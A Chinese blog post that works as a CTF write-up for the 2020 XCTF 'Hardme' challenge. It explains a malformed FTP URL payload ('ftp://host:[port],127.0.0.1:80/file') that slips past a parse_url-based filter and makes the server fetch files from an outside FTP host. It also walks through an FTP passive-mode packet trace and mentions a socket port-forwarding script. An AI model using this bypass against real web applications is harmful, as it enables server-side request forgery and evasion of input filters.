非预期 - 畸形ftp请求
- 前言 -
出自 2020年XCTF高校战疫 中的 Hardme非预期 ,还挺有意思的。
- 正文 -
- 原题 -
看关键的 第二关 源码:
1 | $url = $_POST['url']; |
直接看第三层bypass:
1 | $res = parse_url($url); |
直接上payload:
1 | url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/filename |
虽说这样确实是可以利用 ftp 出外网,但具体的请求方式和普通的 ftp 请求是很不一样的。
- 分析 -
不妨对形如 ftp://xxx.xxx.xxx.xxx[port],127.0.0.1:80/filename
的 ftp 请求做一个分析。先用 python 写一个简单的 ftp 服务器:
1 | import pyftpdlib.authorizers |
然后使用 wireshark 进行简单的流程跟踪 ftp 被动模式。
-
首先,这是一个简单的客户端向服务端请求ftp服务,客户端与服务端先进行第一次握手连接,在确认连接后,服务端向客户端发送欢迎信息,同时表示服务已准备就绪(220):
-
当客户端收到服务就绪信息时(220),客户端会先向服务端发送用户名:
-
服务端收到信息后会向客户端发回需要密码的信息并等待客户端提供密码(331),(在ftp中匿名登录实际上是用用户名为 ‘anonymous’ 的用户进行登录,和普通用户登录基本没区别;若服务端上没有名为 ‘anonymous’ 的用户,则无法进行匿名登录;若 ‘anonymous’ 用户设置了密码,则在匿名登录的时候也需要输入密码):
-
客户端收到服务端发来的密码要求后,发送密码,若密码正确则服务端会返回登录成功(230),若不正确则会返回用户认证失败(530);
-
之后客户端会询问当前ftp系统信息,服务端会回复给客户端(215);
-
客户端向服务端发送 ‘PWD’ ,服务端会将当前 **‘/ ‘**目录名创建(类似初始化ftp的相对路径)当前(257);
-
下一步客户端向服务端发送类型值,比如我这里是 I 那就是以二进制模式,发送成功后,服务端会返回命令成功执行(200);
-
开始解析请求的路径,这里我请求的是 ‘ftp://xxx/way/’ :
-
客户端先向服务端请求 ‘/way’ 文件的大小,服务端检查,NO,这不是一个文件,告诉客户端命令无法识别(500);
-
客户端向服务端请求到 ‘/way/‘ 这个目录中,服务端检查,OK,这是一个目录,将当前目录设置成 ‘/way/‘ 并返回请求文件操作成功(250);
-
-
客户端向服务端请求PASV(被动模式):
-
服务端返回开启passive模式(227),返回内容,同时开启一个6626的端口:
-
然后客户端会开启另一个端口,并用新开起的端口去和服务端提供的新端口进行第二次握手连接:
-
客户端请求当前目录下的内容:
-
服务端向客户端返回数据连接已就绪消息(150):
-
客户端使用第二次握手建立的连接,向服务端发送确认信息,服务端将当前目录下的内容返回给客户端;
-
当信息成功发送后,第二次握手建立连接在服务端向客户端发送完传输完成(226)中逐步进行挥手操作:
-
第二次握手建立的连接挥手操作完毕后,客户端向服务端发送确认信息,以及退出信息:
-
服务端接收到客户端发来的退出信息,回应客户端后(221),第一次握手建立的连接进行挥手操作,此时整个ftp的简单请求到此结束:
-
接着是简单的ftp关于下载文件的请求过程:
-
其中,这些步骤和上边的基本都是一样的:
-
这里就从第二次握手建立的连接后开始,客户端向服务端请求下载 ‘/way/BMV5.txt’ 文件:
-
服务端告诉客户端,数据传输已准备就绪(150):
-
服务端在收到来自客户端的确认信息后,开始用第二次握手建立的连接传输:
-
假若信息过长的话,会进行分段传输,每当服务端传输完一段后,客户端新开的端口会向服务端发送确认收到的信息,然后实际上服务端向客户端返回的传输完成的信息看起来是并行的,红方框的内容是正则传输的内容:(226)
-
- 服务端会在最后一段内容中将挥手信息发回客户端,比如上图的最后一个红框即是;
- 后边就是第二次握手建立的连接先挥手,然后第一次握手建立的连接再挥手了,跟最上边的普通过程基本是没区别的了;
- 以上即是正常的ftp请求,现在我要用payload进行请求了,当然如果只是仅仅普通的payload去获取文件是不可行的,因为这个是畸形的请求:
1 | url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/evil.txt |
- 上边先是的421错误,展开被动模式(第二次握手连接应该没搞好)超时;
- 使用 wireshark 还原整个 ftp 请求,发现,原来是在进行第二次握手连接的时候,客户端新开的端口并没有连入服务端新开的端口上,而是客户端用新开的端口连上了原来的ftp端口了:
-
第一次握手:客户端向服务端请求一个端口,服务端开放随机端口A并告诉客户端;
-
第二次握手:客户端用新开端口B,并尝试用端口B连接服务端的端口A,然后使用端口B→端口A这条路子传输;
当传输数据结束后,先断开第二次握手建立的连接,再断开第一次握手建立的连接。使用畸形的URL的结果是在第二次握手时客户端新开的端口B没能连接第一次握手时服务端所给的新开的端口A,而是连接了第一次握手时连接的服务端的原来的端口,于是就卡住了。(简单来说,服务端在等待客户端连接自己新开的端口A,而客户端却在用自己新开的端口B去连接第一次握手服务端的的原来的端口)
- 结论 -
那么至少可以得到一点,这个畸形的 ftp 请求,实际上是能够成功进入外网的,并且第一次握手连接是可以完全能正确的,只需要将客户端新开的端口B和服务端新开的端口A连通就行了,并不需要魔改 ftp (当时做题的时候差点真的把 ftp 给魔改了,真的,就差一点点)。
最简单的方式即是端口转发了,不过由于上述说过 ftp 对文件传输发送的完成信息和文件传输实际上是并行的,也就是说服务端会用第一次握手建立的连接发送传输完成的信息,而实际上第二次握手建立的连接仍然在传输信息,并没有真的完成,这就比较麻烦了。
因为要做端口转发免不了会使用socket,而socket是无法获取到确认信息的,只能够能得到文本内容的数据信息,也就是说转发的内容中是不会有确认信息,由上边的 wireshark 简单的分析发现,一旦服务端成功的发送了传输完成信息(226),第二次握手建立的连接就会挥手(也就是说文件内容传输就会中止),可是服务端发送传输完成信息(226)和第二次握手建立的连接的传输却是并行的,现在又无法转发确认信息,于是就有可能出现传输未完成而整个连接中断的情况;
该如何在保证所有传输完成后再中断是一个比较重要的问题了,不过其实吧,这实际上如果说硬要这么去做的话,可以做一个逆推算;
- => 等传输真正完成后再停止 =>
- => 第一次握手建立的连接必须得在传输完成后再向客户端发送完成信息 =>
- => 将第一次握手建立的连接和第二次握手建立的连接的并行状态改变为串行 =>
- => 在确认信息完全传输完成前拒绝接收(或者接收了但不转发)信息完成的信息,直到确认真正传输完成后再放行;
这里就直接上转发脚本:
1 | import socket,threading,re,sys |
- 演示 -
行吧,这里就直接演示:
这里发现是可以成功使用畸形的ftp请求获取到文件内容的了。
- 总结 -
老早的题目了,来凑个文章呗,畸形ftp应该是也有不少师傅知道的。
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !